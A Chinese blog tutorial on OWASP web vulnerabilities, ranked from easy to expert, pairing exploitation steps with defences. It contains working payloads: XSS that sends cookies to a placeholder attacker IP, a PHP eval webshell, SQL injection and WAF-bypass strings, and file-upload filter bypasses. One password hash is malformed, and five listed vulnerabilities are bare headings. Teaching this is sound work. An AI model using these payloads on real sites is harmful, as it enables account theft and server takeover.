OWASP漏洞从基础到精通:原理+图示+实战(11种核心漏洞拆解)

2025博客之星年度评选已开启 10w+人浏览 3.1k人参与

一、漏洞难度排序说明(从易到难)

先明确漏洞的难度梯度,帮你规划学习顺序:

难度层级漏洞类型核心特点学习目标
入门级1.敏感信息泄露
2.逻辑漏洞
原理直观,无需复杂Payload,利用步骤≤3步能识别漏洞场景,完成基础利用
基础级3.CSRF
4.XSS
需构造简单Payload,理解“前端/后端交互逻辑”能手动构造Payload,绕过基础防御
进阶级5.SQL注入
6.文件上传
需理解“后端处理逻辑”,构造多步Payload能应对中间件/代码层防御,实现脱库/传马
精通级7.文件包含
8.命令注入
9.SSRF
需掌握“路径/协议特性”,利用系统级缺陷能利用协议/配置漏洞,实现内网探测
专家级10.XXE
11.反序列化
需理解“数据格式解析逻辑”,构造复杂Payload能分析序列化结构,绕过序列化防护

二、入门级漏洞(原理直观,1小时上手)

1. 敏感信息泄露(Sensitive Data Exposure,OWASP Top 4)

(1)基础认知
  • 是什么:后端未对“账号密码、身份证号、配置信息”等敏感数据加密/脱敏,直接明文传输或存储,攻击者可直接获取。
  • 难度评级:★☆☆☆☆(原理最直观,利用只需“查看”)
  • 常见场景:HTTP明文传密码、Cookie存明文、配置文件泄露(/config.php)、日志文件泄露(/log/access.log)。
(2)原理拆解(配图示)

核心问题是“无加密/脱敏处理”,以“登录密码传输”为例:

输入账号:admin
密码:123456

HTTP明文传输(无加密)

HTTP明文传输

直接获取账号密码

用户登录

前端

攻击者抓包

后端

利用成功

对比安全传输(HTTPS加密):

输入账号:admin
密码:123456

HTTPS加密传输

HTTPS加密传输

仅获加密数据,无法解密

用户登录

前端

攻击者抓包

后端

利用失败

(3)利用实战(从基础到精通)
级别利用场景操作步骤工具需求
基础版HTTP登录明文传输1. 打开Burp Suite抓包;
2. 输入账号密码登录;
3. 在“Raw”标签查看password=123456
Burp Suite
进阶版配置文件泄露1. 猜测路径:http://目标IP/db_config.php(数据库配置);
2. 访问后查看“数据库账号=root,密码=123456”
浏览器
精通版日志文件泄露(含Cookie)1. 访问http://目标IP/var/log/apache2/access.log
2. 搜索“Cookie”关键词,获取登录用户的Cookie
浏览器+文本搜索
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 启用HTTPS(所有传输加密);
2. Cookie加HttpOnly属性(禁止JS读取)
所有Web系统,小白必做
进阶防御1. 敏感数据脱敏(如手机号显示138****8888);
2. 日志文件存非Web目录
含用户隐私数据的系统(电商、社交)
企业级防御1. 密码用BCrypt哈希存储(不用MD5,防彩虹表破解);
2. 配置文件加密(如config.php加密后解析)
金融、政务等高安全需求系统
(5)常见误区
  • ❌ 认为“内网系统不用加密”:内网攻击者更易抓包,需同样启用HTTPS;
  • ❌ 日志文件直接放Web目录:需修改日志存储路径(如/var/log/而非/var/www/log/)。

2. 逻辑漏洞(Business Logic Flaws,高频高危)

(1)基础认知
  • 是什么:后端“业务规则设计缺陷”,攻击者利用规则漏洞越权或获利(如“密码重置不验证验证码”“订单金额可篡改”)。
  • 难度评级:★★☆☆☆(原理直观,但需理解业务流程)
  • 常见场景:密码重置、订单支付、登录验证码、会员等级升级。
(2)原理拆解(配图示:密码重置逻辑缺陷)

正常逻辑:用户→收验证码→输入验证码→重置密码;
漏洞逻辑:跳过“输入验证码验证”步骤,直接提交新密码:

用户发起密码重置

填写手机号:13800138000

后端发送验证码到手机

漏洞点:后端未验证验证码,直接接收新密码

攻击者提交新密码:hacker123

密码重置成功,攻击者控制账号

(3)利用实战(从基础到精通)
级别利用场景操作步骤工具需求
基础版订单金额篡改1. 下单(商品金额99元);
2. Burp抓包,改price=99price=0.01
3. 提交支付,按0.01元付款
Burp Suite
进阶版密码重置不验证验证码1. 抓包“发送验证码”请求(记录phone=13800138000);
2. 抓包“提交新密码”请求,删除code=123456参数;
3. 提交新密码,重置成功
Burp Suite(修改参数)
精通版验证码重复使用1. 获取验证码1234(有效期10分钟);
2. 用该验证码重置10个不同手机号(后端未绑定“验证码-手机号”)
Burp Suite(批量请求)
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 关键参数后端校验(订单金额从数据库获取,不依赖前端传值);
2. 验证码绑定手机号(一个验证码仅对应一个手机号)
电商、支付系统
进阶防御1. 重要操作加二次验证(改密码需输入原密码,转账需人脸识别);
2. 操作频率限制(验证码1分钟内最多发送3次)
金融、政务系统
企业级防御1. 业务逻辑评审(开发前梳理“密码重置、支付”等核心流程,找漏洞);
2. 异常行为监控(如同一IP重置10个手机号,触发告警)
高安全需求系统
(5)常见误区
  • ❌ 认为“前端做了验证就够了”:前端验证可被绕过(如Burp改参数),必须后端重复验证;
  • ❌ 忽略“低频异常行为”:如“普通用户1天内重置10次密码”,需加监控告警。

三、基础级漏洞(需构造Payload,半天掌握)

3. 跨站请求伪造(CSRF,OWASP Top 10)

(1)基础认知
  • 是什么:攻击者诱导“已登录用户”点击恶意链接/访问恶意页面,触发“用户本意之外的请求”(如改密码、删数据),后端未验证请求来源。
  • 难度评级:★★☆☆☆(需理解“登录状态”和“请求伪造”)
  • 核心前提:用户已登录目标系统(Cookie未过期)。
(2)原理拆解(配图示:CSRF改密码)

Cookie:sessionid=abc123

页面自动提交“改密码”请求

携带用户的Cookie(sessionid=abc123)

未验证请求来源,认为是用户操作

用户已登录目标系统

目标系统后端

攻击者构造恶意页面

用户访问恶意页面

目标系统后端

密码被改为hacker123

(3)利用实战(从基础到精通)
级别利用场景操作步骤工具需求
基础版GET型CSRF(改个人签名)1. 抓包正常改签名请求:http://目标IP/change_sign?sign=test
2. 构造恶意链接:http://目标IP/change_sign?sign=hacker
3. 诱导已登录用户点击
浏览器
进阶版POST型CSRF(改密码)1. 抓包POST请求(参数new_pwd=hacker123);
2. 构造恶意HTML(自动提交POST请求);
3. 诱导用户访问该HTML页面
记事本+浏览器
精通版结合XSS的CSRF(自动触发)1. 在目标系统评论区插入XSS代码:<script>fetch("http://目标IP/change_pwd", {method: "POST", body: "new_pwd=hacker123"})</script>
2. 用户访问评论区,自动触发CSRF
Burp Suite(提交XSS)
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 加CSRF Token(表单中加<input type="hidden" name="token=随机值">,后端验证Token);
2. 验证Referer(仅允许来自目标域名的请求)
所有Web系统,必做防御
进阶防御1. 重要操作加二次验证(如改密码需输入原密码);
2. Token定期刷新(每30分钟换一次Token)
支付、后台管理系统
企业级防御1. 用SameSite Cookie(限制Cookie仅在同站请求中携带,阻止跨站请求携带Cookie);
2. 异常请求监控(如同一IP短时间发起10次改密码请求)
高安全需求系统
(5)常见误区
  • ❌ 认为“HTTPS能防御CSRF”:HTTPS仅加密传输,无法验证请求来源,仍需CSRF Token;
  • ❌ Token直接写死在页面:Token需每个用户/每次请求不同(如从Session中获取)。

4. 跨站脚本(XSS,OWASP Top 3)

(1)基础认知
  • 是什么:用户输入的“恶意JS代码”被后端“原样输出”到页面,浏览器执行JS,窃取Cookie、冒充用户操作。
  • 难度评级:★★★☆☆(分3类,从易到难:反射型→存储型→DOM型)
  • 核心危害:窃取登录Cookie、伪造用户操作、钓鱼诈骗。
(2)原理拆解(配图示:存储型XSS)
A[攻击者在评论区输入] -->|内容:<script>alert(document.cookie)</script>| B[后端]
B -->|未过滤,原样存入数据库| C[数据库]
D[其他用户访问评论区] -->|后端从数据库读取评论| E[后端]
E -->|原样输出JS代码到页面| F[用户浏览器]
F -->|执行JS,弹出用户Cookie| G[攻击者获取Cookie,冒充用户]
(3)利用实战(从基础到精通)
XSS类型级别操作步骤工具需求
反射型基础版1. 目标搜索框输入:<script>alert(1)</script>
2. 点击搜索,页面弹出1,说明存在漏洞
浏览器
反射型进阶版1. 构造URL:http://目标IP/search?keyword=<script>window.location.href='http://攻击机IP/steal?cookie='+document.cookie</script>
2. 诱导用户点击,窃取Cookie
攻击机(搭Web服务存Cookie)
存储型精通版1. 在论坛发帖:<img src=x onerror=fetch("http://攻击机IP/steal?cookie="+document.cookie)> (用img onerror触发JS,避免<script>被过滤);
2. 所有访问该帖子的用户,Cookie被窃取
攻击机+论坛账号
DOM型专家版1. 分析前端JS:var keyword = location.hash.substr(1); document.getElementById("content").innerHTML = keyword;
2. 构造URL:http://目标IP/#<script>alert(1)</script>
3. 访问后执行JS
浏览器
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 输出编码(把<&lt;>&gt;,JS代码不执行);
2. 禁用<script>标签(前端过滤,辅助防御)
所有Web系统,小白必做
进阶防御1. 用CSP(Content-Security-Policy,限制页面仅加载信任的JS资源,如script-src 'self');
2. 过滤危险事件(如onclickonerror
含用户输入的系统(论坛、评论)
企业级防御1. 用XSS过滤器(如Java的OWASP Java Encoder、PHP的htmlspecialchars函数);
2. 实时监控(如用户输入含<script>,触发告警)
金融、政务系统
(5)常见误区
  • ❌ 认为“过滤<script>就够了”:XSS可通过img onerrora href=javascript:xxx触发,需过滤危险标签和事件;
  • ❌ DOM型XSS只防后端:DOM型XSS由前端JS触发,需前端也做编码(如document.getElementById("content").textContent = keyword,不用innerHTML)。

四、进阶级漏洞(需理解后端逻辑,1天掌握)

5. SQL注入(SQL Injection,OWASP Top 1)

(1)基础认知
  • 是什么:用户输入的内容被“直接拼接到后端SQL语句中”,改变SQL原本逻辑(如“查询单个用户”变成“查询所有用户密码”)。
  • 难度评级:★★★★☆(核心漏洞,需理解SQL语法和后端拼接逻辑)
  • 常见场景:URL参数(?id=1)、登录框(用户名/密码)、搜索框。
(2)原理拆解(配图示:登录框SQL注入)

正常登录SQL:SELECT * FROM user WHERE username='admin' AND password='123456'
注入后SQL:SELECT * FROM user WHERE username='admin' OR '1'='1' -- ' AND password='xxx'(条件永远为真,直接登录)。

内容:admin' OR '1'='1 --

SQL拼接:SELECT * FROM user WHERE username='admin' OR '1'='1 -- ' AND password='xxx'

条件永远为真,返回所有用户数据

允许用户进入后台

用户输入用户名

后端

数据库

后端认为登录成功

利用成功

(3)利用实战(从基础到精通)
级别利用场景操作步骤工具需求
基础版联合查询注入(脱库)1. 判断字段数:?id=1 order by 5 --+(直到报错,确定字段数为4);
2. 脱库:?id=1 union select 1,database(),user(),4 --+(获取当前数据库名、MySQL用户)
浏览器+Burp
进阶版布尔盲注(无报错信息)1. 判断数据库名长度:?id=1 and length(database())>5 --+(页面正常→长度>5);
2. 猜数据库名:?id=1 and substr(database(),1,1)='t' --+(页面正常→首字母为t)
浏览器+手动测试
精通版堆叠注入(执行多SQL)1. 构造Payload:?id=1; update user set password='e10adc3949ba59abbe56e057f20f883e0' where username='admin' --+
2. 执行后,admin密码被改为123456
Burp Suite(提交Payload)
专家版绕过WAF(关键词过滤)1. 替换关键词:UNIONUnIoN(大小写绕过)、SELECTSEL/**/ECT(注释绕过);
2. 构造Payload:?id=1 UnIoN SEL/**/ECT 1,database(),3 --+
Burp Suite(测试绕过)
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 参数化查询(PreparedStatement,把用户输入当参数,不直接拼SQL);
2. 输入过滤(过滤'unionor等特殊字符)
所有使用SQL的系统,必做防御
进阶防御1. 最小权限(MySQL用户只给SELECT权限,不给UPDATE/DROP权限);
2. 用ORM框架(如MyBatis、Hibernate,自动防注入)
开发型系统
企业级防御1. WAF(Web应用防火墙,如阿里云WAF,拦截注入Payload);
2. SQL审计(记录所有SQL执行语句,异常注入触发告警)
金融、电商等高流量系统
(5)常见误区
  • ❌ 认为“数字型注入不用过滤单引号”:数字型注入(?id=1 and 1=1)虽不用单引号,但需参数化查询;
  • ❌ 依赖前端过滤:前端过滤可被Burp绕过,必须后端过滤+参数化查询。

6. 文件上传漏洞(高频高危)

(1)基础认知
  • 是什么:后端未对“上传文件的后缀/类型/内容”做严格验证,攻击者上传“PHP/JSP后门文件”,执行恶意代码控制服务器。
  • 难度评级:★★★★☆(需理解“文件验证逻辑”和“中间件解析规则”)
  • 核心危害:上传后门后,可执行任意命令(如删文件、读数据库)。
(2)原理拆解(配图示:文件上传绕过)

正常验证:只允许上传jpg/png,拒绝php
漏洞验证:后端仅验证“文件名后缀”,攻击者改后缀为php5(部分Apache支持解析为PHP)。

A[攻击者准备后门文件] -->|文件:backdoor.php(内容:<?php @eval($_POST['cmd']); ?>)| B[改后缀为backdoor.php5]
B -->|前端验证通过(认为是合法后缀)| C[Burp抓包,确认后缀为php5]
C -->|后端仅验证后缀,允许上传| D[文件保存到:http://目标IP/upload/backdoor.php5]
D -->|Apache解析php5为PHP,执行后门| E[攻击者用蚁剑连接,控制服务器]
(3)利用实战(从基础到精通)
级别利用场景操作步骤工具需求
基础版前端验证绕过(改后缀)1. 准备backdoor.php,改名为backdoor.jpg
2. 上传时Burp抓包,改filename=backdoor.jpgfilename=backdoor.php
3. 访问http://目标IP/upload/backdoor.php,确认可访问
Burp Suite+蚁剑
进阶版后端后缀黑名单绕过1. 尝试后缀:php5phtmlphp.bak(部分服务器支持);
2. 上传backdoor.php5,访问后用蚁剑连接(密码:cmd)
Burp Suite+蚁剑
精通版文件头验证绕过(加图片头)1. 用Notepad打开backdoor.php,开头加图片头:FF D8 FF(JPG文件头);
2. 改名为backdoor.jpg,上传;
3. Burp抓包改后缀为backdoor.php,后端验证文件头通过
Burp Suite+Notepad
专家版中间件解析漏洞(IIS 6.0)1. 上传backdoor.asp;.jpg(IIS 6.0会忽略;.jpg,解析为asp);
2. 访问http://目标IP/upload/backdoor.asp;.jpg,执行后门
Burp Suite+蚁剑
(4)防御体系(从基础到企业级)
防御级别措施适用场景
基础防御1. 后端验证文件头(如JPG验证FF D8 FF,不依赖后缀);
2. 重命名文件(用随机名如a1b2c3.jpg,避免攻击者猜路径)
所有含文件上传的系统
进阶防御1. 上传目录设为“不可执行”(如Nginx配置location /upload { deny all; });
2. 禁止上传目录的PHP解析(Apache配置php_flag engine off
电商、论坛等需上传图片的系统
企业级防御1. 用第三方存储(如阿里云OSS,不上传到Web服务器);
2. 文件内容扫描(如用ClamAV查杀恶意代码)
金融、政务系统
(5)常见误区
  • ❌ 认为“改后缀为.jpg就安全”:攻击者可通过抓包改回.php,必须后端验证;
  • ❌ 上传目录允许执行PHP:需明确配置“上传目录不可执行”,即使上传PHP也无法执行。

五、精通级漏洞(需系统级知识,2天掌握)

7. 文件包含漏洞(File Inclusion,高危)

8. 命令注入(Command Injection,高危)

9. 服务器端请求伪造(SSRF,高危)

六、专家级漏洞(需解析逻辑,3天掌握)

10. XML外部实体(XXE,OWASP Top 6)

11. 不安全的反序列化(Insecure Deserialization,OWASP Top 5)

七、总结:从基础到精通的学习路径

  1. 入门阶段(1周):掌握“敏感信息泄露、逻辑漏洞”,能识别漏洞场景,完成基础利用;
  2. 基础阶段(2周):攻克“CSRF、XSS”,能手动构造Payload,绕过基础防御;
  3. 进阶阶段(1个月):精通“SQL注入、文件上传”,能应对中间件防御,实现脱库/传马;
  4. 精通阶段(2个月):掌握“文件包含、命令注入、SSRF”,能利用系统/协议漏洞;
  5. 专家阶段(3个月):突破“XXE、反序列化”,能分析数据解析逻辑,构造复杂Payload。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flying_Fish_Xuan

你的鼓励将是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值